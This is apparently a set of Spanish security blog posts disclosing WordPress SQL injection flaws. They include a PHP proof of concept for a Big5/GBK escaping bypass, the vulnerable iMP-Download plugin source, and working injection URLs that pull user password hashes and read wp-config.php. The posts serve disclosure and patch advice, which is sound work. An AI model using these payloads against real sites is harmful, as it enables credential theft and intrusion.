Inyección de SQL en WordPress

Luego de que alguien hiciera eco sobre un falso problema de inyección de SQL en WordPress 2.3.1, esta vez han publicado detalles de un bug que permite realizar este tipo de ataques en las ramas 2.2 y 2.3 (podría afectar a versiones anteriores también). Antes de pegar un grito al cielo y maldecir a los programadores de WordPress, vale aclarar que este bug sólo se puede reproducir siempre y cuando la codificación de la base de datos sea SJIS, BIG5 o GBK.

El problema radica en que en los juegos de caracteres de ancho variable mencionados, es posible que a partir de secuencias de caracteres no válidas y luego de aplicar la función addslashes, se pueda realizar ataques de inyección de SQL. Por ejemplo en la prueba de concepto del mencionado bug envían la secuencia 0xb327 (caracter multi-byte no válido en Big5) que luego de aplicarle la función addslashes la cadena resultante será 0xb35c27 (notar que el caracter \ = 0x5c se agregó antes de la comilla simple ' = 0x27), sin embargo en esta codificación la secuencia 0xb35c (許) es un caracter multi-byte válido por lo que en realidad la cadena resultante tendría la comilla simple sin escapar (許').

Dado que WordPress cambia la codificación de la conexión con SET NAMES 'GBK' (que es lo que hace cuando se especifica un valor para DB_CHARSET en el archivo de configuración), este problema de seguridad tendrá los mismos efectos aún usando la función mysql_real_escape_string.

Actualización: He subido un ejemplo que ilustra el problema descrito. El código de ese ejemplo es el siguiente por si quieren hacer pruebas:

php:
<?php
header('Content-Type: text/plain; charset=Big5');

$login = chr(0xB3).chr(0x27) . ' UNION ALL SELECT * FROM foo /*';
if ( isset($_GET['login']) )
        $login = stripslashes($_GET['login']);

$sql = "SELECT * FROM wp_posts WHERE login = '%s'\n";

echo sprintf($sql, addslashes($login));

mysql_connect('localhost', 'tests', '1234');
mysql_query('SET NAMES Big5');

echo sprintf($sql, mysql_real_escape_string($login));

mysql_close();
?>

Lectura recomendada

Videos sobre seguridad en ASP.NET

Por si no lo vieron todavía, una serie de videos introductorios -- en inglés -- sobre seguridad en ASP.NET:

  • Canonicalization: Explica sobre los ACLs e impersonación de usuarios para acceder a recursos, así como usar Server.MapPath para limitar el acceso sólo a rutas que esten dentro del directorio virtual de una aplicación.
  • Cookies: Muestra como detectar la alteración de cookies.
  • Cross-Site Scripting: Explica que es XSS y como prevenir éstos ataques.
  • Regular Expressions: Explica el uso de expresiones regulares para la validación de los datos.
  • SQL Injection: Explica que es SQL Injection y cómo evitar este tipo de ataques usando consultas parametrizadas.
  • Validation Controls

Fuente: Blog de J.D. Meier

Eviten el uso del plugin iMP-Download para WordPress

Esta entrada que escribí meses atrás iba a quedar como borrador, pero visto las repercusiones en blogs hispanos sobre un supuesto nuevo problema de seguridad de WordPress, publico esta entrada porque el sitio afectado usaba este plugin -- no tengo idea si esto tiene relación con el ataque que sufrió.

En las primeras líneas del plugin iMP-Download, se puede apreciar el siguiente código:

php:
<?php
/*
Plugin Name: iMP Download
Version: 1.4.1
Plugin URI: http://www.inmypad.com/2007/01/wordpress-plugins-imp-download/
Author: Hardi P
Author URI: http://www.inmypad.com/
Description: Download manager for wordpress user featuring download count, force download, quicktag, members only, widgets, etc. Integrated with search engine to find your downloads easily and pagination on download list.
*/


if (isset($_GET['dl'])) {
        global $wpdb, $table_prefix;
       
        // require_once('../../../wp-blog-header.php');
        $option = get_option('iMP_Download_Option');
       
        $user_login = $_COOKIE['wordpressuser_' . COOKIEHASH];

        if ($option['dl_mo'] == 1 && !$user_login) {
                $login = get_settings('siteurl') . '/wp-login.php';
        ?>
                script type="text/javascript">
                        var mo = confirm("Guest are not allowed to download!" + "\n" + "Press 'OK' to login/register or press 'CANCEL' to go back.")
                        if (mo == true) {
                                window.location = "<?php echo $login; ?>";
                    } else {
                                window.location = document.referrer;
                        }
                </script
        <?php
                exit();
        }
       
        $dl_id = $_GET['dl'];
        $table_name = $table_prefix . 'imp_download';
       
        $wpdb->query("UPDATE $table_name SET dl_count=dl_count+1 WHERE dl_id='$dl_id'");
       
        $url = "SELECT dl_url FROM $table_name WHERE dl_id = $dl_id";
        $file = $wpdb->get_var($url);

        $file = str_replace(' ','%20',$file);
        $filename = basename($file);
       
        $mimetype = 'application/octet-stream'// Set mime-type
        header("Pragma: "); // Leave blank for issues with IE
        header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
        header("Content-Type: $mimetype");
        if ($option['dl_fd'] == 1) {
                if (ini_get('allow_url_fopen') == 0 && !function_exists('curl_init')) {
                        header('Location: '.$file.''); // Switch to normal download mode if allow_url_fopen is disabled and cURL is not available
                } else {
                        header('Content-Disposition: attachment; filename='.basename($filename)); // Force download activated
                }
               
                if (ini_get('allow_url_fopen') == 1) {
                        $file = fopen($file, "rb");
                        fpassthru($file);
                        exit();
                } elseif (function_exists('curl_init')) {
                        $ch = curl_init();
                        curl_setopt($ch, CURLOPT_URL, $file);
                        curl_setopt($ch, CURLOPT_HEADER, 0);
                        curl_exec ($ch);
                        curl_close ($ch);
                        exit();
                }
        } else {
                header('Location: '.$file.''); // Force download deactivated
                exit();
        }
}

Como se puede apreciar en las líneas 34 y 39, el parámetro dl no es validado adecuadamente; ésto permite que cualquier usuario pueda realizar ataques de inyección de SQL y hacer muchas cosas como:

code:
* Obtener el usuario y contraseña de cualquier usuario
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/concat(user_login,0x2d,user_pass)/**/FROM/**/wp_users/**/WHERE/**/ID=1

* Si allow_url_fopen está habilitado, existe la posibilidad de descargar cualquier archivo del servidor (./wp-config.php)
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/0x2E2F77702D636F6E6669672E706870

Dada la gravedad del problema, es recomendable que desactiven -- o corrijan -- cuanto antes el mencionado plugin.

WordPress 2.2.3

Actualización: Ya publicaron el anuncio oficial, que por cierto me causa un poco de gracia porque mencionan mi nombre y el nick que uso para reportar vulnerabilidades más leves. 😀

Finalmente ya está disponible la versión 2.2.3 de WordPress, que corrige múltiples problemas de seguridad, entre los cuales, uno permite obtener los datos de cualquier usuario de un blog afectado.

Los archivos que cambian con respecto a la anterior versión son:

  • wp-includes/default-filters.php
  • wp-includes/plugin.php
  • wp-includes/query.php
  • wp-includes/formatting.php
  • wp-includes/feed-rss2-comments.php
  • wp-includes/rewrite.php
  • wp-includes/version.php
  • wp-includes/pluggable.php
  • wp-includes/widgets.php
  • wp-includes/rss.php
  • wp-includes/vars.php
  • xmlrpc.php
  • wp-mail.php
  • wp-admin/admin-ajax.php
  • wp-admin/admin-functions.php
  • wp-admin/rtl.css
  • wp-admin/options.php
  • wp-admin/install-rtl.css
  • wp-admin/widgets-rtl.css

Cualquiera que esté usando WordPress 2.2.2 o versiones anteriores con permalinks habilitadas (a.k.a URL's amigables), tiene que actualizar si o si a la versión que acaban de liberar o a la beta 2 de WordPress 2.3, si no lo hace, por lo menos debe bloquear el acceso a xmlrpc.php.

Por otro lado, también me comentan que liberarán una nueva versión de WordPress MU en los próximos días.

¿Estamos seguros con la nueva versión de WordPress?

La salida de la versión 2.2.2 de WordPress me sorprendió un poco porque no incluye las correcciones a algunos problemas de seguridad que fueron reportados hace más de un mes, si bien es cierto que éstos no son muy peligrosos*, no se me ocurre ningún motivo válido para no haberlos resuelto (si mi memoria no me falla, incluso envié parches con posibles alternativas de solución). Todo parece indicar que la única forma de hacer que los desarrolladores de WordPress le den más importancia a este tipo de reportes, es liberar exploits que hagan uso de éstas vulnerabilidades.

Regresando al tema inicial, lamentablemente la última versión incluye -- al igual que las anteriores y la que actualmente está en desarrollo -- muchos problemas de seguridad, que en su mayoría se deben al uso de cadenas (tipo querystring) para pasar parámetros a funciones y a la ausencia de consultas parametrizadas. Unos cuantos bugs son graves (Fig. 1) y otros de relativa peligrosidad*, pero con el antecedente previo, no sé si me vayan a hacer caso.

Exploit for a Remote SQL Injection Vulnerability in WordPress
Fig. 1: Resultados de un exploit para una
vulnerabilidad de inyección de SQL en WordPress 2.x
(no requiere autenticación).

Es muy probable que la vulnerabilidad que se muestra en la imagen, obligue a los desarrolladores de WordPress a liberar una nueva versión y agregar así, otra raya más al tigre. Por otro lado, mientras no termine de escribir el advisory y me desocupe un poco, no tengo intenciones de dar a conocer los detalles y el exploit para este problema de seguridad. 😉

* Esos bugs son bastante más graves en WordPress MU.

A petición de Alex, pongo a disposición parches generados a partir de la versión en desarrollo de WordPress.